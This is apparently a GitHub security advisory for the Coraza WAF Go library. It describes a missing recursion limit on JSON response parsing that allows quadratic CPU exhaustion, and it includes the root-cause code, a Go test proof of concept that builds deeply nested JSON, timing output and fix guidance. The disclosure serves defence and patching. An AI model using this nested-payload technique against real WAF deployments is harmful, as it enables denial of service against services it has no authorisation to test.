GHSA-3c6w-j9xm-8h2h: Medium severity go/github.com/corazawaf/coraza/v3 vulnerability
Summary
The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for responses.
Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time.
Root cause
internal/bodyprocessors/json.go
go const ignoreJSONRecursionLimit = -1 // line 51
func (js jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., plugintypes.BodyProcessorOptions) error { ... data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1 }
func (js jsonBodyProcessor) ProcessRequest(...) error { ... data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024 }
The guard and the decrement:
go func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error { if maxRecursion == 0 { // line 106 return errors.New("max recursion reached while reading json object") } ... iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126
Note that ProcessResponse discards BodyProcessorOptions (the parameter is ), so even a caller that wanted to set a limit on responses has no way to.
Why the cost is quadratic
Every nesting level re-parses the remaining nested document through gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55):
depth bytes ProcessResponse time 5000 30004 30 ms 10000 60004 119 ms 20000 120004 456 ms 40000 240004 2.18 s 87381 524290 12.09 s
Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB ResponseBodyLimit.
PoC
Save as internal/bodyprocessors/pocjsontest.go, then:
go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...
go package bodyprocessorstest
import ( "strings" "testing" "time"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" )
func nestedJSON(depth int) string { var sb strings.Builder sb.Grow(depth6 + 4) for i := 0; i < depth; i++ { sb.WriteString({"a":) } sb.WriteString("null") for i := 0; i < depth; i++ { sb.WriteByte('}') } return sb.String() }
func TestPoCJSONResponse(t testing.T) { proc, := bodyprocessors.GetBodyProcessor("json")
// Request path is bounded, response path is not. body := nestedJSON(5000) v := corazawaf.NewTransactionVariables() errReq := proc.ProcessRequest(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024}) errRes := proc.ProcessResponse(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{}) t.Logf("depth=5000 ProcessRequest err=%v", errReq) t.Logf("depth=5000 ProcessResponse err=%v", errRes)
// Quadratic scaling on the response path. for , depth := range []int{5000, 10000, 20000, 40000, 87381} { b := nestedJSON(depth) vv := corazawaf.NewTransactionVariables() start := time.Now() proc.ProcessResponse(strings.NewReader(b), vv, plugintypes.BodyProcessorOptions{}) t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start)) } }
Output on the reference machine:
depth=5000 ProcessRequest err=max recursion reached while reading json object depth=5000 ProcessResponse err=<nil> depth=5000 bytes=30004 time=30.3ms depth=10000 bytes=60004 time=119.3ms depth=20000 bytes=120004 time=456.1ms depth=40000 bytes=240004 time=2.185s depth=87381 bytes=524290 time=12.085s
Impact
This needs ResponseBodyAccess turned on and a backend that returns JSON (application/json). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF.
The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have.
Suggested fix
Bound ProcessResponse the same way the request path is bounded: add a ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit instead of -1.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/corazawaf/coraza/v3to a version that resolves this vulnerability.Fixed in 3.8.0 - Configuration
Bound ProcessResponse recursion by adding a ResponseBodyRecursionLimit directive set to 1024; if that directive is unavailable, pass RequestBodyRecursionLimit instead of ignoreJSONRecursionLimit (-1).
Coraza JSON response body processor ResponseBodyRecursionLimit = 1024
Event History
Frequently Asked Questions
Are deployments affected under default settings?
Deployments that process JSON response bodies are affected because the response path has no equivalent recursion-limit directive or default. The request-side default recursion limit of 1024 does not apply to responses.
Can the request-body recursion limit mitigate this issue?
No. ProcessRequest uses the configured request recursion limit, but ProcessResponse passes a value of -1, which bypasses the recursion-depth guard.
What resource impact can a response within the default size limit cause?
A 512 KiB response, matching the default ResponseBodyLimit, can contain approximately 87,000 nesting levels. Processing such a response takes about 12 seconds and keeps one CPU core busy during that time.